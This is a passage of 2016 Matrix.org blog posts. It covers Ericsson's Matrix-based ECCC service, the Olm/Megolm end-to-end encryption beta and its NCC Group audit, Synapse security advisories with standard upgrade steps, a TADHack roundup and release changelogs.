We had a pretty good idea about what we wanted to build, but even though Ericsson is a big company, the team working in this area was relatively small and also had a number of other commitments that we couldn't abandon.I think that is enough of a background, let's circle back to the WebRTC Expo and the reason why I am writing this post on the Matrix blog.Adam and I were pretty busy in our booth talking to people and giving demos, so we actually missed when Matrix won the Best Innovation Award. Nonetheless we finally got some time to walk around and I started chatting with Matthew and Amandine who were manning the Matrix booth. Needless to say, I was really impressed with their vision and what they wanted to build. The comparison to email and how they wanted to make it possible to build an interoperable bridge between communication “islands”, all in an open (source) manner, really appealed to me.To be honest, the altruistic aspects of decentralising communication was not the most important part for us, even if we were sympathetic to the cause, working for a company that was founded from “the belief that communication is a basic human need”. We ultimately wanted to build a new kind of communication offering from Ericsson, and it looked like Matrix might be able to play a part in that.I had recently hired a couple of interns and as soon as I came back from Paris, we set them to work evaluating Matrix. They were quickly able to port an existing WebRTC service (developed and used in-house) to use Matrix signalling and user management. We initially had some concerns about the maturity of the reference Home Server implementation (remember, this was almost 2 years ago) and we didn't want to start developing our own since we were still a small team. However, Matthew and the rest of the Matrix team worked closely with us, helping to answer all our (dumb) questions and we finally got to a point where we had the confidence to say “screw it, let's try this and see if it flies”. ?Ericsson had recently launched the Ericsson Garage where employees could pitch ideas for how to build new business. So we decided to give the process a try and presented an idea on how Ericsson could start selling contextual communication as-a-Service, directly to enterprises that wanted help integrating communication into their business processes, but didn't necessarily have the competence or business interest to run their own communication services. We got accepted and moved (physically) out of Research to sit in the Garage for the next 4 months, developing a MVP.Since the primary interface to our offering would be through SDKs on various platforms, we decided early on to develop our own. The SDKs were implementing the standard Matrix specification, but we put a lot of time in increasing the robustness and flexibility in the WebRTC call handling and eventually with added peer-2-peer data and collaboration features, on top of the secure WebRTC DataChannel. On the server side, our initial concerns about Synapse were eventually removed completely as the Matrix team relentlessly kept working on fixing performance issues, patching security holes and provided a story on how to scale. Over the years we have contributed with several patches to Synapse (SAML auth and auth improvements; application service improvements) and provided input to the Matrix specification. We have always found the Matrix team be very inclusive and easy to work with.The project graduated successfully from the Ericsson Garage and moved in to Ericsson's Business Unit IT & Cloud Products, where we started to increase the size of the team and just last month signed a contract with our first customer. We call the solution Ericsson Contextual Communication Cloud, or ECCC for short, and it can be summarised on a high level by the following picture:ECCC in a nutshellIf you are interested in ECCC, feel free to reach out at https://discuss.c3.ericsson.netAs with any project developed in the open, it is essential to have a healthy community around it. We have received excellent support from the Matrix project and they have always been open for discussion, engaged our developers and listened to our needs. We depend on Matrix now and we see great potential for the future. We hope that others will adopt the technology and help make the community grow even stronger.- Stefan Ålund and the Ericsson ECCC Team

Matrix’s ‘Olm’ End-to-end Encryption security assessment released - and implemented cross-platform on Riot at last!

2016-11-21 — General — 
TL;DR: We're officially starting the cross-platform beta of end-to-end encryption in Matrix today, with matrix-js-sdk, matrix-android-sdk and matrix-ios-sdk all supporting e2e via the Olm and Megolm cryptographic ratchets.  Meanwhile, NCC Group have publicly released their security assessment of the underlying libolm library, kindly funded by the Open Technology Fund, giving a full and independent transparent report on where the core implementation is at. The assessment was incredibly useful, finding some interesting issues, which have all been solved either in libolm itself or at the Matrix client SDK level.If you want to get experimenting with E2E, the flagship Matrix client Riot has been updated to use the new SDK on Web, Android and iOS… although the iOS App is currently stuck in “export compliance” review at Apple. However, iOS users can mail [email protected] to request being added to the TestFlight beta to help us test!  Update: iOS is now live and approved by Apple (as of Thursday Nov 24.  You can still mail us if you want to get beta builds though!)We are ridiculously excited about adding an open decentralised e2e-encrypted pubsub data fabric to the internet, and we hope you are too! :D
Ever since the beginning of the Matrix we've been promising end-to-end (E2E) encryption, which is rather vital given conversations in Matrix are replicated over every server participating in a room.  This is no different to SMTP and IMAP, where emails are typically stored unencrypted in the IMAP spools of all the participating mail servers, but we can and should do much better with Matrix: there is no reason to have to trust all the participating servers not to snoop on your conversations.  Meanwhile, the internet is screaming out for an open decentralised e2e-encrypted pubsub data store - which we're now finally able to provide :)Today marks the start of a formal public beta for our Megolm and Olm-based end-to-end encryption across Web, Android and iOS. New builds of the Riot matrix client have just been released on top of the newly Megolm-capable matrix-js-sdk, matrix-ios-sdk and matrix-android-sdk libraries.  The stuff that ships today is:
  • E2E encryption, based on the Olm Double Ratchet and Megolm ratchet, working in beta on all three platforms.  We're still chasing a few nasty bugs which can cause ‘unknown inbound session IDs', but in general it should be stable: please report these via Github if you see them.
  • Encrypted attachments are here! (limited to ~2MB on web, but as soon as https://github.com/matrix-org/matrix-react-sdk/pull/562 lands this limit will go away)
  • Encrypted VoIP signalling (and indeed any arbitrary Matrix events) are here!
  • Tracking whether the messages you receive are from ‘verified' devices or not.
  • Letting you block specific target devices from being able to decrypt your messages or not.
  • The Official Implementor's Guide.  If you're a developer wanting to add Olm into your Matrix client/bot/bridge etc, this is the place to start.
Stuff which remains includes:
  • Speeding up sending the first message after adds/removes a device from a room (this can be very slow currently - e.g. 10s, but we can absolutely do better).
  • Proper device verification.  Currently we compare out-of-band device fingerprints, which is a terrible UX.  Lots of work to be done here.
  • Turning on encryption for private rooms by default.  We're deliberately keeping E2E opt-in for now during beta given there is a small risk of undecryptable messages, and we don't want to lull folks into a false sense of security.  As soon as we're out of beta, we'll obviously be turning on E2E for any room with private history by default.  This also gives the rest of the Matrix ecosystem a chance to catch up, as we obviously don't want to lock out all the clients which aren't built on matrix-{js,ios,android}-sdk.
  • We're also considering building a simple Matrix proxy to aid migration that you can run on localhost that E2Es your traffic as required (so desktop clients like WeeChat, NaChat, Quaternion etc would just connect to the proxy on localhost via pre-E2E Matrix, which would then manage all your keys & sessions & ratchets and talk E2E through to your actual homeserver.
  • Matrix clients which can't speak E2E won't show encrypted messages at all.
  • ...lots and lots of bugs :D.  We'll be out of beta once these are all closed up.
In practice the system is working very usably, especially for 1:1 chats.  Big group chats with lots of joining/parting devices are a bit more prone to weirdness, as are edge cases like running multiple Riot/Webs in adjacent tabs on the same account.  Obviously we don't recommend using the E2E for anything mission critical requiring 100% guaranteed privacy whilst we're still in beta, but we do thoroughly recommend everyone to give it a try and file bugs!In Riot you can turn it on a per-room basis if you're an administrator that room by flipping the little padlock button in Room Settings.  Warning: once enabled, you cannot turn it off again for that room (to avoid the race condition of people suddenly decrypting a room before someone says something sensitive):screen-shot-2016-11-21-at-15-21-15The journey to end-to-end encryption has been a bit convoluted, with work beginning in Feb 2015 by the Matrix team on Olm: an independent Apache-licensed implementation in C/C++11 of the Double Ratchet algorithm designed by Trevor Perrin and Moxie Marlinspike (https://github.com/trevp/double_ratchet/wiki - then called ‘axolotl').  We picked the Double Ratchet in its capacity as the most ubiquitous, respected and widely studied e2e algorithm out there - mainly thanks to Open Whisper Systems implementing it in Signal, and subsequently licensing it to Facebook for WhatsApp and Messenger, Google for Allo, etc.  And we reasoned that if we are ever to link huge networks like WhatsApp into Matrix whilst preserving end-to-end encrypted semantics, we'd better be using at least roughly the same technology :DOne of the first things we did was to write a terse but formal spec for the Olm implementation of the Double Ratchet, fleshing out the original sketch from Trevor & Moxie, especially as at the time there wasn't a formal spec from Open Whisper Systems (until yesterday! Congratulations to Trevor & co for publishing their super-comprehensive spec :).  We wrote a first cut of the ratchet over the course of a few weeks, which looked pretty promising but then the team got pulled into improving Synapse performance and features as our traffic started to accelerate faster than we could have possibly hoped.  We then got back to it again in June-Aug 2015 and basically finished it off and added a basic implementation to matrix-react-sdk (and picked up by Vector, now Riot)… before getting side-tracked again.  After all, there wasn't any point in adding e2e to clients if the rest of the stack is on fire!Work resumed again in May 2016 and has continued ever since - starting with the addition of a new ratchet to the mix.  The Double Ratchet (Olm) is great at encrypting conversations between pairs of devices, but it starts to get a bit unwieldy when you use it for a group conversation - especially the huge ones we have in Matrix.  Either each sender needs to encrypt each message N times for every device in the room (which doesn't scale), or you need some other mechanism.For Matrix we also require the ability to explicitly decide how much conversation history may be shared with new devices.  In classic Double Ratchet implementations this is anathema: the very act of synchronising history to a new device is a huge potential privacy breach - as it's deliberately breaking perfect forward secrecy.  Who's to say that the device you're syncing your history onto is not an attacker?  However, in practice, this is a very common use case.  If a Matrix user switches to a new app or device, it's often very desirable that they can decrypt old conversation history on the new device.  So, we make it configurable per room.  (In today's implementation the ability to share history to new devices is still disabled, but it's coming shortly).The end result is an entirely new ratchet that we've called Megolm - which is included in the same libolm library as Olm.  The way Megolm works is to give every sender in the room its own encrypted ratchet (‘outbound session'), so every device encrypts each message once based on the current key given by their ratchet (and then advances the ratchet to generate a new key).  Meanwhile, the device shares the state of their ‘outbound session' to every other device in the room via the normal Olm ratchet in a 1:1 exchange between the devices.  The other devices maintain an ‘inbound session' for each of the devices they know about, and so can decrypt their messages.  Meanwhile, when new devices join a room, senders can share their sessions according to taste to the new device - either giving access to old history or not depending on the configuration of the room.  You can read more in the formal spec for Megolm.We finished the combination of Olm and Megolm back in September 2016, and shipped the very first implementation in the matrix-js-sdk and matrix-react-sdk as used in Riot with some major limitations (no encrypted attachments; no encrypted VoIP signalling; no history sharing to new devices).Meanwhile, we were incredibly lucky to receive a public security assessment of the Olm & Megolm implementation in libolm from NCC Group Cryptography Services - famous for assessing the likes of Signal, Tor, OpenSSL, etc and other Double Ratchet implementations. The assessment was very generously funded by the Open Technology Fund (who specialise in paying for security audits for open source projects like Matrix).  Unlike other Double Ratchet audits (e.g. Signal), we also insisted that the end report was publicly released for complete transparency and to show the whole world the status of the implementation.

NCC Group have released the public report today - it's pretty hardcore, but if you're into the details please go check it out.  The version of libolm assessed was v1.3.0, and the report found 1 high risk issue, 1 medium risk, 6 low risk and 1 informational issues - of which 3 were in Olm and 6 in Megolm.  Two of these (‘Lack of Backward Secrecy in Group Chats' and ‘Weak Forward Secrecy in Group Chats') are actually features of the library which power the ‘configurable privacy per-room' behaviour mentioned a few paragraphs above - and it's up to the application (e.g. matrix-js-sdk) to correctly configure privacy-sensitive rooms with the appropriate level of backward or forward secrecy; the library doesn't enforce it however.  The most interesting findings were probably the fairly exotic Unknown Key Share attacks in both Megolm and Olm - check out NCC-Olm2016-009 and NCC-Olm2016-010 in the report for gory details!

Needless to say all of these issues have been solved with the release of libolm 2.0.0 on October 25th and included in today's releases of the client SDKs and Riot.  Most of the issues have been solved at the application layer (i.e. matrix-js-sdk, ios-sdk and android-sdk) rather than in libolm itself.  Given the assessment was specifically for libolm, this means that technically the risks still exist at libolm, but given the correct engineering choice was to fix them in the application layer we went and did it there. (This is explains why the report says that some of the issues are ‘not fixed' in libolm itself).Huge thanks to Alex Balducci and Jake Meredith at NCC Group for all their work on the assessment - it was loads of fun to be working with them (over Matrix, of course) and we're really happy that they caught some nasty edge cases which otherwise we'd have missed.  And thanks again to Dan Meredith and Chad Hurley at OTF for funding it and making it possible!Implementing decentralised E2E has been by far the hardest thing we've done yet in Matrix, ending up involving most of the core team.  Huge kudos go to: Mark Haines for writing the original Olm and matrix-js-sdk implementation and devising Megolm, designing attachment encryption and implementing it in matrix-{js,react}-sdk, Richard van der Hoff for taking over this year with implementing and speccing Megolm, finalising libolm, adding all the remaining server APIs (device management and to_device management for 1:1 device Olm sessions), writing the Implementor's Guide, handling the NCC assessment, and pulling together all the strands to land the final implementation in matrix-js-sdk and matrix-react-sdk.  Meanwhile on Mobile, iOS & Android wouldn't have happened without Emmanuel Rohée, who led the development of E2E in matrix-ios-sdk and OLMKit (the iOS wrappers for libolm based on the original work by Chris Ballinger at ChatSecure - many thanks to Chris for starting the ball rolling there!), Pedro Contreiras and Yannick Le Collen for doing all the Android work, Guillaume Foret for all the application layer iOS work and helping coordinate all the mobile work, and Dave Baker who got pulled in at the last minute to rush through encrypted attachments on iOS (thanks Dave!).  Finally, eternal thanks to everyone in the wider community who's patiently helped us test the E2E whilst it's been in development in #megolm:matrix.org; and to Moxie, Trevor and Open Whisper Systems for inventing the Double Ratchet and for allowing us to write our own implementation in Olm.It's literally the beginning for end-to-end encryption in Matrix, and we're unspeakably excited to see where it goes.  More now than ever before the world needs an open communication platform that combines the freedom of decentralisation with strong privacy guarantees, and we hope this is a major step in the right direction.-- Matthew, Amandine & the whole Matrix team.Further reading:

SSL Issues With Chromium

2016-11-14 — General — 

It's been brought to our attention that some users are unable to connect to matrix.org and riot.im due to an SSL error, failing with, "NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED". The cause of this is the Chromium bug detailed at https://bugs.chromium.org/p/chromium/issues/detail?id=664177

In short, older versions of Chrome / Chromium (including Chromium v0.53 which is the default in ubuntu) will refuse to make SSL connections to matrix.org or riot.im because they are unable to verify that the certificates are in the certificate transparency log. This is because the build of Chromium is over 10 weeks old which means it now considers its certificate transparency log to be stale.

This issue is affecting all sites using certificates signed by Symantec and its subsidiaries (which includes amazon.com).

There's little we can do about this, short of completely changing our SSL certificate provider, but for users it should be fairly easy to work around by updating to a newer version of Chromium (which may be as simple as restarting the browser).

Update: see also https://sslmate.com/blog/post/ct_redaction_in_chrome_53 and https://news.ycombinator.com/item?id=12953172 (top of HN right now)

Synapse Debian Package Security Announcement - and Synapse 0.18.3

2016-11-08 — General — 

We were advised of a bug with the LDAP integration an hour ago that allowed unauthenticated login in certain circumstances when using an old version of the ldap3 python module (v0.9.x).

Currently, this is only known to affect the debian packages of synapse. A fix has been pushed, v0.18.2-2, and it is strongly advised for you to update as soon as possible.

Synapse installed using pip should not be affected, as pip will have bundled a newer version of the ldap3 module.

 

UPDATE: Synapse v0.18.3 released.

This issue only affects OS (not virtualenv) installations using v0.9.x of the ldap3 python package (e.g. Debian Stable (Jessie)).  Synapse itself specifies a dependency on >v1.0 of ldap3, but as the dependency is optional there is a risk that a stale operating system dependency will be pulled in instead.  To be safe, 0.18.3 of Synapse has just been released to fix the underlying problem for anyone using the older ldap3 package, regardless of their OS. https://github.com/matrix-org/synapse/releases/tag/v0.18.3 has the details.

Many thanks to Adrián Pérez for reporting the problem, and to hexa- for assistance in quickly solving it!

Signed announcement: synapse-debian-security-announcement

TADHack Global 2016

2016-10-20 — General — 
tadhack-2016-global-3-300x244TADHack Global 2016 was held across 30+ different locations last weekend. The goal in the TADHack is to create a hack over the weekend, using one or more of the APIs provided by the sponsors - of which Matrix is one.

Over 2600 people participated, and over 150 hacks were created! I think it's safe to say that TADHack Global 2016 was a great success!

The Matrix team were on location in Shoreditch, London, where we helped people with their hacks (while also keeping an eye on the online TADHack Matrix room to help remote entries).

Several teams used Matrix in their hack, both in London and elsewhere:

In Lisbon, Luis Tonicha and Tiago Dias created "Athos": a bot for shopping assistance. The bot accepts various queries which it tries to answer using Carrefour's API. The team also created a Telestax bridge, so you can send the queries via SMS! This hack won the Lisbon location prize! Watch their presentation here.

A team in Moscow did a hack using Matrix, where they created a kind of MUD in Matrix. Unfortunately, the presentation is not currently available.

Yelly was a remote entry by Fikri Fırat, Utku Yavuz, and Barış Erbil. It is a voice message based chat application inspired by the nature of shouting as a way of communication. See their presentation here.

In Kiev, Ukraine, the DataArt team (Artem Malykhin, Pavlina Bevz, Igor Maximenko, and Eugene Grachev) created a hack called "Web conference for Smart TV": an app for Smart TVs for VoIP conferencing. See the presentation here.

Over in Chicago, Sergio Gil, Caterina Lazaro, and Anup Mohan created "Little Endian Kitchen": Shopping management for your kitchen. The idea was to have a webcam in your fridge that can check which items are "missing" (e.g. which ones need replacing) and even provide a VoIP stream so you can check yourself (even using VR-goggles!) - see the presentation here.

In Berlin, there were quite a few hacks. One of these was called "Clipboard Monkey" and was made by Tim Unkrig, Tammo Behrends, Markus Kerschkewicz. This team created a decentralized, universal and fully encrypted clipboard using Matrix. See the full presentation here. We awarded this hack one of the two global prizes of a MacBook Air! They were also joint winners of the Berlin location prize - well done!

Finally, in London we had several teams working on Matrix hacks. There was the "Moodlight" hack by Astrid de Gasté, Ryan Lintott, Tomas Zezula, Istvan Hoffer, and Jing Chan. The team created a sentiment analysis bot connecting Riot/Matrix to Philips Hue, and analysing the comments in a room using a Social Sentiment Analysis library - blue light for positive comments and red for less positive chat. Watch the presentation here. This hack won the London Location Prize!

cu5bnyoxeaamexk

Also in London, there was Immanuel Baskaran's "Hangouts Bridge" hack, which bridged Matrix to Google Hangouts! Presentation here. In classic "dangerous demo" fashion, Google Hangouts experienced an outage just when the demo was happening. We awarded this hack the Special Matrix Prize - congrats Immanuel!

"Matrix of Things" by Matt Williams, and Yin Yee Kan won the other Matrix global prize, which was a MacBook Air. They created a minimal Matrix client on a ESPB266 micro controller, and added a proximity sensor feature to Riot so that two different devices can notice when they are in close proximity. See the presentation and demo here!

Congrats to all the participants - we hope you had a lot of fun! The full list of winners is available over on the TADHack blog.

And if the hackathon has inspired you to hack on Matrix, please come chat to us in #matrix-dev or the TADHack Matrix room!

Synapse v0.17.2 released!

2016-09-08 — General — 

A small update for Synapse has been released: v0.17.2! It includes a few optimisations to reduce memory usage, as well as some security bug fixes. It's therefore recommended to upgrade as soon as possible.

The full change log can be found on the release page.

Synapse v0.17.1 released!

2016-08-24 — General — 

Synapse v0.17.1 is here! It includes a bunch of bug fixes an performance improvements, as well as a brand new notifications API added by Dave.

We've also been busy adding more metrics into the code to help spot various performance bottlenecks, which should help in the ongoing performance improvement effort.

This also includes security fixes regarding possible XSS attacks involving the media repository - please upgrade!

The full change log can be found on the release page.

Synapse 0.17.0 released!

2016-08-08 — General — 

Synapse v0.17.0 is finally here, which includes a couple of security fixes so please upgrade. Other notable new things are:

  • A bunch of new admin APIs, including purging locally cached data (which has been long requested to help free up disk space). See the docs folder for more details.
  • Device management APIs in preparation for end to end encryption.
  • Better support for LDAP authentication, thanks to Martin Weinelt! (This may break existing LDAP configuration, see PR #843 for more details.)
  • Lots and lots of bug fixes and various bits of performance work.
For a full list of everything that has changed see below or the release page.

I'd also like to thank Will Hunt, Martin Weinelt and Kent Shikama for their contributions!

 

Changes in synapse v0.17.0 (2016-08-08)

This release contains significant security bug fixes regarding authenticating events received over federation. PLEASE UPGRADE.

This release changes the LDAP configuration format in a backwards incompatible way, see PR #843 for details.

Changes:

  • Add federation /version API (PR #990)
  • Make psutil dependency optional (PR #992)
Bug fixes:
  • Fix URL preview API to exclude HTML comments in description (PR #988)
  • Fix error handling of remote joins (PR #991)
 

Changes in synapse v0.17.0-rc4 (2016-08-05)

Changes:
  • Change the way we summarize URLs when previewing (PR #973)
  • Add new /state_ids/ federation API (PR #979)
  • Speed up processing of /state/ response (PR #986)
Bug fixes:
  • Fix event persistence when event has already been partially persisted (PR #975, #983, #985)
  • Fix port script to also copy across backfilled events (PR #982)
 

Changes in synapse v0.17.0-rc3 (2016-08-02)

Changes:
  • Forbid non-ASes from registering users whose names begin with '_' (PR #958)
  • Add some basic admin API docs (PR #963)
Bug fixes:
  • Send the correct host header when fetching keys (PR #941)
  • Fix joining a room that has missing auth events (PR #964)
  • Fix various push bugs (PR #966, #970)
  • Fix adding emails on registration (PR #968)

Changes in synapse v0.17.0-rc1 (2016-07-28)

This release changes the LDAP configuration format in a backwards incompatible way, see PR #843 for details.

Features:

  • Add purge_media_cache admin API (PR #902)
  • Add deactivate account admin API (PR #903)
  • Add optional pepper to password hashing (PR #907, #910 by @KentShikama)
  • Add an admin option to shared secret registration (breaks backwards compat) (PR #909)
  • Add purge local room history API (PR #911, #923, #924)
  • Add requestToken endpoints (PR #915)
  • Add an /account/deactivate endpoint (PR #921)
  • Add filter param to /messages. Add 'contains_url' to filter. (PR #922)
  • Add device_id support to /login (PR #929)
  • Add device_id support to /v2/register flow. (PR #937, #942)
  • Add GET /devices endpoint (PR #939, #944)
  • Add GET /device/{deviceId{ (PR #943)
  • Add update and delete APIs for devices (PR #949)
Changes:
  • Rewrite LDAP Authentication against ldap3 (PR #843 by @mweinelt)
  • Linearize some federation endpoints based on (origin, room_id) (PR #879)
  • Remove the legacy v0 content upload API. (PR #888)
  • Use similar naming we use in email notifs for push (PR #894)
  • Optionally include password hash in createUser endpoint (PR #905 by @KentShikama)
  • Use a query that postgresql optimises better for get_events_around (PR #906)
  • Fall back to 'username' if 'user' is not given for appservice registration. (PR #927 by @Half-Shot)
  • Add metrics for psutil derived memory usage (PR #936)
  • Record device_id in client_ips (PR #938)
  • Send the correct host header when fetching keys (PR #941)
  • Log the hostname the reCAPTCHA was completed on (PR #946)
  • Make the device id on e2e key upload optional (PR #956)
  • Add r0.2.0 to the "supported versions" list (PR #960)
  • Don't include name of room for invites in push (PR #961)
Bug fixes:
  • Fix substitution failure in mail template (PR #887)
  • Put most recent 20 messages in email notif (PR #892)
  • Ensure that the guest user is in the database when upgrading accounts (PR #914)
  • Fix various edge cases in auth handling (PR #919)
  • Fix 500 ISE when sending alias event without a state_key (PR #925)
  • Fix bug where we stored rejections in the state_group, persist all rejections (PR #948)
  • Fix lack of check of if the user is banned when handling 3pid invites (PR #952)
  • Fix a couple of bugs in the transaction and keyring code (PR #954, #955)

Client-Server spec r0.2.0 released

2016-07-14 — General — 

We've just released r0.2.0 of the Client-Server API specification. This release bundles up a number of clarifications and incremental improvements, as well as removing some outdated text relating to the pre-r0 event syncing APIs.

We've also taken the opportunity to make the license on the specifications explicit (we're using the Apache license), and have finally settled a long-running argument on what a user ID should look like.

As ever, the evolution of the spec has been helped tremendously by contributions and bug reports from the members of community - thanks to all those who have helped it on its way!

Vector Android now also on F-Droid

2016-07-13 — General — 
Vector Vector Android has been added to the F-Droid catalogue. F-Droid is an installable catalogue of FOSS (Free and Open Source Software) applications for the Android platform. Many people have asked or requested Vector to be added to F-Droid, so we are happy to be able to announce its inclusion.

In order to meet the requirements for F-Droid, the build is not using GCM (Google Cloud Messaging) for notifications - instead it will keep syncing in the background. If you find that the ongoing background sync is using too much battery, you can add a delay or change the timeout of the sync - or even disable background sync completely - in the settings page.

Finally, if you have feedback on any of the Vector clients, there is #vector-feedback:matrix.org.

Critical security vulnerability in Synapse 0.12 to 0.16.1 inclusive

2016-07-08 — General — 

We've been made aware of a critical security issue in Synapse present in versions 0.12 through 0.16.1 inclusive which can allow users' accounts to be accessed by other unauthorized users on the same server. The issue was reported at 14:40 UTC on 2016-07-07 by Patrik Oldsberg at Ericsson (many thanks Patrik for discovering the issue and swiftly informing us). The source of the issue was identified, and a patch was created and distributed to package maintainers at roughly 16:30 UTC the same day.

We are not aware of any exploit in the wild, but it is critical for all synapse homeservers later than v0.12 to be upgraded immediately.

The github repository, as well as major 3rd party packages, have been updated with patched versions.

If an update is not available for your system you should manually apply the security patch that is included below. (This can be done by running patch -p1 sec.patch in the synapse source directory.)

The git commit SHA of the fix is: 067596d341a661e008195f7f3a6887ade7cafa32. This is included in release v0.16.1-r1.

Whilst Synapse (and Matrix) is still in beta, we nonetheless take such security issues seriously. In the coming days we will be reviewing how this vulnerability was introduced, and any steps that could have been taken to prevent the issue. We will also be auditing the remaining access control system to ensure there are no other existing issues. The full findings will be published when completed.

We apologise for the inconvenience of this emergency upgrade.

Thank you for your continued support, The Matrix Team


Various upgrade instructions:

  • If you installed via git:   git pull.
  • If you installed via pip:   pip install https://github.com/matrix-org/synapse/tarball/master
  • If you installed via debian package:   apt-get update; apt-get install matrix-synapse
After upgrade you will need to restart synapse.

Links to 3rd party packages: Arch: https://aur.archlinux.org/packages/matrix-synapse Fedora: https://obs.infoserver.lv/project/show/matrix-synapse

The patch against v0.16.x is: sec-0.16.patchsec-0.16.patch.signed

The patch against v0.14.x is: sec-0.14.patchsec-0.14.patch.signed

Signed announcement: fulldisclosure.signed

Pre-Disclosure: Critical Security Issue in Synapse

2016-07-07 — General — 

We have recently been made aware of a critical security issue in Synapse. Full disclosure of the issue and patch will be made at 2016-07-08 13:00 UTC. We are coordinating with package maintainers to ensure that patched versions of the packages will be available at that time.

If you run your own Synapse please be prepared to upgrade as soon as the patched versions are released.

Thank you for your time, patience and understanding while we resolve this issue, The Matrix Team

Signed pre-disclosure notice

The Matrix Summer Special!!

2016-07-04 — General — 

Hi folks - another few months have gone by and once again the core Matrix team has ended up too busy hacking away on the final missing pieces of the Matrix jigsaw puzzle to have been properly updating the blog; sorry about this. The end is in sight for the current crunch however, and we expect to return to regular blog updates shortly! Meanwhile, rather than letting news stack up any further, here's a quick(?) attempt to summarise all the things which have been going on!

Synapse 0.16.1 released!

This one's a biggy: in the mad rush during June to support the public debut for Vector, we made a series of major Synapse releases which apparently we forgot to tell anyone about (sorry!). The full changelog is at the bottom of the post as it's huge, but the big features are:

  • Huge performance improvements, including adding write-thru event caches and improving caching throughout, and massive improvements to the speed of the room directory API.
  • Add support for inline URL previewing!
  • Add email notifications!
  • Add support for LDAP authentication (thanks to Christoph Witzany)
  • Add support for JWT authentication (thanks to Niklas Riekenbrauck)
  • Add basic server-side ignore functionality and abuse reporting API
  • Add ability to delegate /publicRooms API requests to a list of secondary homeservers
  • Lots and lots and lots of bug fixes.
If you haven't upgraded, please do asap from https://github.com/matrix-org/synapse!

There's also been a huge amount of work going on behind the scenes on horizontal scalability for Synapse.  We haven't drawn much attention to this yet (or documented it) as it's still quite experimental and in flux, but the main change is to add the concept of application-layer replication to Synapse - letting you split the codebase into multiple endpoints which can then be run in parallel, each replicating their state off the master synapse process.  For instance, right now the Matrix.org homeserver is actually running off three different processes: the main synapse; another specific to calculating push notifications and another specific to serving up the /sync endpoint.  These three are then abstracted behind the dendron layer (which also implements the /login endpoint). The idea is that one can then run multiple instances of the /sync and pusher (and other future) endpoints to horizontally scale.  For now, they share a single database writer, but in practice this has improved our scalability and performance on the Matrix.org HS radically.

In future we'll actually document how to run these, as well as making it easy to spin up multiple concurrent instances - in the interim if you find you're hitting performance limits running high-traffic synapses come talk to us about it on #matrix-dev:matrix.org.  And the longer term plan continues to be to switch out these python endpoint implementations in future for more efficient implementations.  For instance, there's a golang implementation of the media repository currently in development which could run as another endpoint cluster.

Vector released!

Much has been written about this elsewhere, but Web, iOS and Android versions of the Vector clients were finally released to the general public on June 9th at the Decentralised Web Summit in San Francisco.  Vector is a relatively thin layer on top of the matrix-react-sdk, matrix-ios-sdk and matrix-android-sdk Matrix.org client SDKs which showcases Matrix's collaboration and messaging capabilities in a mass-market usable app.  There's been huge amounts of work here across the SDKs for the 3 platforms, with literally thousands of issues resolved.  You can find the full SDK changelogs on github for React, iOS and Android.  Some of the more interesting recent additions to Vector include improved room notifications, URL previews, configurable email notifications, and huge amounts of performance stability work.

Future work on Vector is focused on showcasing end-to-end encryption, providing a one-click interface for adding bots/integrations & bridges to a room, and generally enormously improving the UX and polish.  Meanwhile, there's an F-Droid release for Android landing any day now.

If you haven't checked it out recently, it's really worth a look :)

Vector

Matrix Spec 0.1.0

In case you didn't notice, we also released v0.1.0 of the Matrix spec itself in May - this is a fairly minor update which improves the layout of the document somewhat (thanks to a PR from Jimmy Cuadra) and a some bugfixes.  You can see the full changelog here. We're overdue a new release since then (albeit again with relatively minor changes).

Google Summer of Code

We're in the middle of the second half of GSoC right now, with our GSoC students Aviral and Half-Shot hacking away on Vector and Microblogging projects respectively.  There's a lot of exciting stuff coming out of this - Aviral contributing Rich Text Editing, Emoji autocompletion, DuckDuckGo and other features into Vector (currently on branches, but will be released soon) and Half-Shot building a Twitter bridge as part of his Matrix-powered microblogging system.  Watch this space for updates!

Ruma

Lots of exciting stuff has been happening recently over at Ruma.io - an independent Matrix homeserver implementation written in Rust.  Over the last few weeks Jimmy and friends have got into the real meat of implementing events and the core of the Matrix CS API, and as of the time of writing they're the topmost link on HackerNews!  There's a lot of work involved in writing a homeserver, but Ruma is looking incredibly promising and the feedback from their team has been incredibly helpful in keeping us honest on the Matrix spec and ensuring that it's fit for purpose for 3rd party server implementers.

Also, Ruma just released some truly excellent documentation as a high-level introduction to Matrix (thanks to Leah and Jimmy) - much better than anything we have on the official Matrix.org site.  Go check it out if you haven't already!

End to End Encryption

There has been LOADS of work happening on End to End encryption: finalising the core 1:1 "Olm" cryptographic ratchet; implementing the group "Megolm" ratchet (which shares a single ratchet over all the participants of a room for scalability); fully hooking Olm into matrix-js-sdk and Vector-web at last, and preparing for a formal and published-to-the-public 3rd party security audit on Olm which will be happening during July.

This deserves a post in its own right, but the key thing to know is that Olm is almost ready - and indeed the work-in-progress E2E UX is even available on the develop branch of vector if you enable E2E in the new 'Labs' section in User Settings.  Olm itself is usable only for 'burn after reading' strictly PFS messages, but Megolm integration with Vector & Synapse will follow shortly afterwards which will finally provide the E2E nirvana we've all been waiting for :)

Decentralised Web Summit

Matrix had a major presence as a sponsor at the first ever Decentralised Web Summit hosted by the Internet Archive in San Francisco back in June.  This was a truly incredible event - with folks gathering from across the world to discuss, collaborate and debate on ensure that the web is not fragmented or trapped into proprietary silos - with the likes of Tim Berners-Lee, Vint Cerf and Brewster Kahle in attendance.  We ran a long 2 hour workshop on Matrix and showed off Vector to anyone and everyone - and meanwhile the organisers were kind enough to promote Matrix as the main decentralised chat interface for the conference itself (bridged with their Slack).  A full writeup of the conference really merits a blog post in its own right, but the punchline is that you could genuinely tell that this is the beginning of a new era of the internet - whether it's using Merkle DAGs (like Matrix) or Blockchain or similar technologies: we are about to see a major shift in the balance of power on the internet back towards its users.

We strongly recommend checking out the videos which have all been published at Decentralised Web Summit, including lightning talks introducing both Matrix and Vector, and digging into as many of the projects advertised as possible.  It was particularly interesting for us to get to know Tim Berners-Lee's latest project at MIT: Solid - which shares quite a lot of the same goals as Matrix, and subsequently seeing Tim pop up on Matrix via Vector.  We're really looking forward to working out how Matrix & Solid can complement each other in future.

Matthew, Tim Berners-Lee and Matrix

 

Matrix.to

Not the most exciting thing ever, but heads up that there's a simple site up at https://matrix.to to provide a way of doing client-agnostic links to content in Matrix.  For instance, rather than linking specifically into an app like Vector, you can now say https://matrix.to/#/#matrix:matrix.org to go there via whatever app you choose.  This is basically a bootstrapping process towards having proper mx:// URLs in circulation, but given mx:// doesn't exist yet, https://matrix.to hopefully provides a useful step in the right direction :)

PRs very welcome at https://github.com/matrix-org/matrix.to.

Bridges and Bots

